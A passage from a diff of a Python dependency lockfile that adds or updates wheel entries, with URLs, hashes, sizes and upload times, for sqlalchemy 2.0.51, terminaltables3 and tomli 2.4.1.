"sha256:c68568f3facf8f66fa76c60e0ced69b67666ffa9941d1d0a3756fda196049080", size = 3215782, upload-time = "2026-06-15T16:12:24.051Z" }, + { url = "https://files.pythonhosted.org/packages/ce/1c/3bd72c341f1cb5faed5a7457ea840228a46be51cfbaf31a9db72fc963f11/sqlalchemy-2.0.51-cp310-cp310-win32.whl", hash = "sha256:0592bdadf86ddcabfd72d9ab66ea8a5d8d2cc6be1cc51fa7e66c03868ac5eac1", size = 2122119, upload-time = "2026-06-15T16:13:26.915Z" }, + { url = "https://files.pythonhosted.org/packages/2a/63/b6dfdd646abf91c3bedb13727226a5e765e5f8365e898d43818e6672fa46/sqlalchemy-2.0.51-cp310-cp310-win_amd64.whl", hash = "sha256:740cf6f35351b1ac3d82369152acf1d51d37e3dcf85d4dc0a22ca01410eabe2a", size = 2145158, upload-time = "2026-06-15T16:13:28.386Z" }, + { url = "https://files.pythonhosted.org/packages/3a/69/a67c69e5f28fc9c99d6f7bd60bd50e91f2fed2423e3b30fb228fa00e51f3/sqlalchemy-2.0.51-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1aa10c0daee6705294d181daadaa793221e1a59ed55000a3fab1d42b088ce4ba", size = 2161838, upload-time = "2026-06-15T16:05:17.144Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a4/c8c22b8438bddc0a030157c6ec0f6ef97b3c38effa444bdab2a27af04090/sqlalchemy-2.0.51-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5b2ed6d828f1f09bd812861f4f59ca3bc3803f9df871f4555187f0faf018604", size = 3319402, upload-time = "2026-06-15T16:10:40.002Z" }, + { url = "https://files.pythonhosted.org/packages/90/54/44012d32fd77d991256d2ff793ba3807c51d40cb27a85b4796224f6744df/sqlalchemy-2.0.51-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:436728ce18a80f6951a1e11cc6112c2ede9faf20766f1a26195a7c441ca12dbd", size = 3319675, upload-time = "2026-06-15T16:12:25.658Z" }, + { url = "https://files.pythonhosted.org/packages/29/a5/de0592acaf5906cd7430874392d6f7e8b4a7c8437610953ee2d1501c0b44/sqlalchemy-2.0.51-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dc261707bf5739aea8a541593f3cc1d463c2701fb05fbcbba0ce031b69a21260", size = 3270777, upload-time = "2026-06-15T16:10:42.125Z" }, + { url = "https://files.pythonhosted.org/packages/cb/14/a44c90739c780b362238e4ac3cb19dd0ca40d13e6ddc5daa112166ddab4f/sqlalchemy-2.0.51-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a6d26094615306d116dd5e4a51b0304c99dd2356fc569eed6922a80a6bd3b265", size = 3293940, upload-time = "2026-06-15T16:12:27.156Z" }, + { url = "https://files.pythonhosted.org/packages/65/eb/fbd0f206a330e66f8c602a99c37c4e731f107faed62954b41b01f16dd9d9/sqlalchemy-2.0.51-cp311-cp311-win32.whl", hash = "sha256:ca8435d13829b92f4a97362d91975154a4015db3a2634154e1754e9a915e6b86", size = 2121183, upload-time = "2026-06-15T16:13:29.905Z" }, + { url = "https://files.pythonhosted.org/packages/ad/fd/005bf80f3cf6e5c62b5dd68616280f51cd012c60840fa74781b3ed7b1623/sqlalchemy-2.0.51-cp311-cp311-win_amd64.whl", hash = "sha256:4a011ea4510683319ce4ed274b56ee05194b39b6da9d09ca7a39388f0fa84dcc", size = 2145796, upload-time = "2026-06-15T16:13:31.283Z" }, + { url = "https://files.pythonhosted.org/packages/d5/70/e868bc5412acd101a8280f25c95f10eeae0771c4eb806b02491142810ee8/sqlalchemy-2.0.51-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d78702b26ba1c18b2d0fb2ea940ba7f17a9581b42e8361ff93920ebbee1235a", size = 2160291, upload-time = "2026-06-15T16:08:48.918Z" }, + { url = "https://files.pythonhosted.org/packages/e5/1c/71ee0f8a6b9d7316a1ccd30430b4c62b6c2e36adc96017a4e3a72dce49d6/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581921d849d6e6f994d560389192955e80e2950e18fcdfe2ccea863e01158e6e", size = 3343835, upload-time = "2026-06-15T16:19:42.613Z" }, + { url = "https://files.pythonhosted.org/packages/2b/7c/7ab9f9aadc5944fdd06612484ed7918fe376ad871a5f50404dc1536e0194/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d21ce524ab86c23046e992a5b81cb54c21079c6df6e78b8fc77d77cac70a6b9", size = 3358470, upload-time = "2026-06-15T16:26:38.011Z" }, + { url = "https://files.pythonhosted.org/packages/d0/7d/ff77169fee6186de145a7f2b87006c39638391130abbab2b1f63ac6ea583/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c5d98a2709840027f5a347c3af0a7c3d5f6c1ff93af2ca1c54494e23cba8f389", size = 3289874, upload-time = "2026-06-15T16:19:45.212Z" }, + { url = "https://files.pythonhosted.org/packages/6f/3b/6c505903710d781b55bc3141ee34a062bf9745a6b5bc7333305b9ed63b33/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1181256e0f16479691b5616d36375dc2620ad8332b25978763c3d206ad3f3f1d", size = 3321692, upload-time = "2026-06-15T16:26:39.747Z" }, + { url = "https://files.pythonhosted.org/packages/3c/b7/c5ffe50aa2f4d947c9250e1519d939260329a07fe6272edfccd784b3d007/sqlalchemy-2.0.51-cp312-cp312-win32.whl", hash = "sha256:9f380393be5abeb6815f68fd39271b95127173511b6706b0a630a9995d53f8f5", size = 2119674, upload-time = "2026-06-15T16:23:09.543Z" }, + { url = "https://files.pythonhosted.org/packages/25/dc/46a65916af68a06ef6b972c6050ba4c8f97070fe3fb33097d34229d9bef6/sqlalchemy-2.0.51-cp312-cp312-win_amd64.whl", hash = "sha256:2cf39aabdf48e87c1c2c2ed6d20d33ffa0733b3071ce9c5f66357947dd009080", size = 2146670, upload-time = "2026-06-15T16:23:11.048Z" }, + { url = "https://files.pythonhosted.org/packages/54/fe/a210d52fd1a90ecfae8a78e9d8b27e18d733d60818a8bf250ff690b75120/sqlalchemy-2.0.51-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7c2056838b6685b72fdb36c99996cf862753461a62f2e84f4196371d3b2d6a07", size = 2157184, upload-time = "2026-06-15T16:08:50.374Z" }, + { url = "https://files.pythonhosted.org/packages/17/6b/2dce8369b199cb855110e056032f94a9f66dacc2237d3d39c115a86eac56/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483b11bd46bf35fc14c52faf338b04300c9e6ce554bce9b11be85bfec3bc3195", size = 3284735, upload-time = "2026-06-15T16:19:46.934Z" }, + { url = "https://files.pythonhosted.org/packages/53/ff/dbc495b8a14da840faffb353857a72d4190113cac33727906fb997047f0f/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1bed1ee8b01da6088210aa9412023326fb98a599ba502e6118308601dcbef77f", size = 3302756, upload-time = "2026-06-15T16:26:41.336Z" }, + { url = "https://files.pythonhosted.org/packages/cf/d5/fde8f4dddcf518ee15ab35a7c6a28acc32c8ba548d1d2aa451f96e6dbb0b/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:72ca54c952107ba5cd58854b67a5a6268631289d21651a1235396f3b98b47400", size = 3232055, upload-time = "2026-06-15T16:19:49.286Z" }, + { url = "https://files.pythonhosted.org/packages/67/d1/43d3a0ac955a58601c24fa23038b1c55ee3a1ec02c0f96ebb1eae2bcf614/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b3e693d15533a45cd5906f0589f9c35090bef6ef45bf1e8195c424aa0ae06a8d", size = 3269850, upload-time = "2026-06-15T16:26:43.017Z" }, + { url = "https://files.pythonhosted.org/packages/94/df/de669c7054cd47c4439ac34b1b2ee8b804a794791fbb10720e997a2c87c7/sqlalchemy-2.0.51-cp313-cp313-win32.whl", hash = "sha256:b93ab07b5292dbe7e6b8da89475275e7042744283921344b56105f3eeb0f828b", size = 2117721, upload-time = "2026-06-15T16:23:12.36Z" }, + { url = "https://files.pythonhosted.org/packages/d0/8a/403c51d064196bae20a0bc2476577f83a3f8dd299719a97417086b7f2ec5/sqlalchemy-2.0.51-cp313-cp313-win_amd64.whl", hash = "sha256:0f053118c30e53161857a953e4de667d90e274980dccbe5dd3829bbbeece72a5", size = 2143615, upload-time = "2026-06-15T16:23:13.906Z" }, + { url = "https://files.pythonhosted.org/packages/b1/49/a739be2e1d02a96a658eb71ab45d921c874249252358ad24a5bffdd02525/sqlalchemy-2.0.51-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6ea306caaae6bd5afd0a46050003c88f6bf33227377a49298c498c3cb88ff491", size = 2158999, upload-time = "2026-06-15T16:08:51.759Z" }, + { url = "https://files.pythonhosted.org/packages/23/6b/2e0e38cf75c8780eca78d9b2e78164f8bcfd70125e5caa588ff5cbb9c9f4/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c45a496d6bc05dec41dcd4c3a2b183723f47473255c159cd80b503c8f246424d", size = 3282539, upload-time = "2026-06-15T16:19:51.065Z" }, + { url = "https://files.pythonhosted.org/packages/dd/a1/e77854cb5336fd37dc3c6ae3b71de242c98caac5725120be0b526b31cbd0/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4004ada0aafe8ae1991b2cd1d99c6d9146126e123bd6f883c260d974aa012e54", size = 3287545, upload-time = "2026-06-15T16:26:44.735Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ab/9e17272fd4dac8df3b83c4fbe52b998a1c9d89a843c8c35ff29b74ff7364/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:0f6bcad487aee1c638d707235682fc96f741de00663619881ab235400d03289e", size = 3230929, upload-time = "2026-06-15T16:19:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/02/3c/52f408ea701781caee975606beccc48845f2aee8711ac29843d612c0306c/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:39a76529db6305693d8d4affa58ad5b5e2e18edd62daea628b29b97930b3513d", size = 3252888, upload-time = "2026-06-15T16:26:46.454Z" }, + { url = "https://files.pythonhosted.org/packages/24/16/3efd2ee6bc4ca4693a30a1dd17a91b606cae15d517d2a4746611d9b73ce8/sqlalchemy-2.0.51-cp314-cp314-win32.whl", hash = "sha256:08a204d8b5638717c26a24df18fcf40af45a6b22e35b70b1d62f0113c2e278e8", size = 2120551, upload-time = "2026-06-15T16:23:15.629Z" }, + { url = "https://files.pythonhosted.org/packages/7b/78/55b12e70f45bccc40d9e483925c065027b3b98ea4cbbdf6f8c2546feaf6c/sqlalchemy-2.0.51-cp314-cp314-win_amd64.whl", hash = "sha256:96747bfbadb055466e5b46d572618170046b45ce5a4879167f50d70a5319a499", size = 2146318, upload-time = "2026-06-15T16:23:17.108Z" }, + { url = "https://files.pythonhosted.org/packages/21/db/a9574ed40fed418924b1b1a3e54f47ee3963053b3d3d325a0d36b41f2c08/sqlalchemy-2.0.51-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5ea1a213be1fcd5e49d9904c3b9939211ded90bc2a64e93f4c01963474285de", size = 2178920, upload-time = "2026-06-15T15:59:56.285Z" }, + { url = "https://files.pythonhosted.org/packages/bf/90/a1bb5c7cbba76b7bc1fbd586d0a5479a7bc9c27b4a8298f22ec9423b2bb3/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c6b36ed71f41942bdcd2ad2522be46bfce09d5705be5640ecf19bbc7660e4b7", size = 3566534, upload-time = "2026-06-15T15:58:35.024Z" }, + { url = "https://files.pythonhosted.org/packages/15/4b/481f1fed30e0e9e8dd24aecbb49f29eb57fe7657ece5cf06ee9b84bb97d8/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0c2c62877097e1a0db401fba5cb4debee33265e5b2a55c4ccb489c02c53b4f72", size = 3535844, upload-time = "2026-06-15T16:02:43.973Z" }, + { url = "https://files.pythonhosted.org/packages/02/71/0aa64aeda645510af0a43f7d9ee70932f0d1dc4263aed34c50ee891d9df3/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0378d055e9e8cd6ce4d8dff683bdd3d7d413533c4ee51d67a2b1e0f9eacc0f23", size = 3475355, upload-time = "2026-06-15T15:58:36.592Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/6061db32316446135a3abae5f308d144ab988a34234726042da3e58b1c63/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6e46fc36029eff666391e0531e5387b62ce6c4f1d8e50b3fb3099eaca1b42522", size = 3486591, upload-time = "2026-06-15T16:02:45.346Z" }, + { url = "https://files.pythonhosted.org/packages/0d/c9/f14fdf71bb8957e0c7e39db69bbdf12b5c80f4ef775fdfa127bf4e0d6760/sqlalchemy-2.0.51-cp314-cp314t-win32.whl", hash = "sha256:9161cfc9efce70d1715f47d6ff40f79c6778c00d53be4fbc09d70301e4b83ba7", size = 2151313, upload-time = "2026-06-15T16:03:39.127Z" }, + { url = "https://files.pythonhosted.org/packages/6a/c6/673e618e6f4f297e126d9b56ea2f6478708f6c1af4e3223835c22e2c3697/sqlalchemy-2.0.51-cp314-cp314t-win_amd64.whl", hash = "sha256:159bb6ba32059f57ad7375a8f50d844dd2f19d14954ecf820cd33e20debd46b2", size = 2186280, upload-time = "2026-06-15T16:03:40.569Z" }, + { url = "https://files.pythonhosted.org/packages/e2/22/dbf013a12ec759e54a34a119e9e217435b3f71b2dd5c61a7ade0a25dae87/sqlalchemy-2.0.51-py3-none-any.whl", hash = "sha256:bb024d8b621d0be75f4f44ecc7c950450026e76d66dc8f791bb5331d7fed59d5", size = 1944334, upload-time = "2026-06-15T16:09:22.418Z" }, ] [[package]] @@ -2001,25 +2150,79 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" }, ] +[[package]] +name = "tomli" +version = "2.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" }, + { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" }, + { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" }, + { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" }, + { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" }, + { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" }, + { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" }, + { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" }, + { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" }, + { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" }, + { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" }, + { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" }, + { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" }, + { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" }, + { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" }, + { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" }, + { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" }, + { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" }, + { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" }, + { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" }, + { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" }, + { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" }, + { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" }, + { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" }, + { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" }, + { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" }, + { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" }, + { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" }, + { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" }, + { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" }, + { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" }, + { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" }, + { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" }, + { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" }, + { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" }, + { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 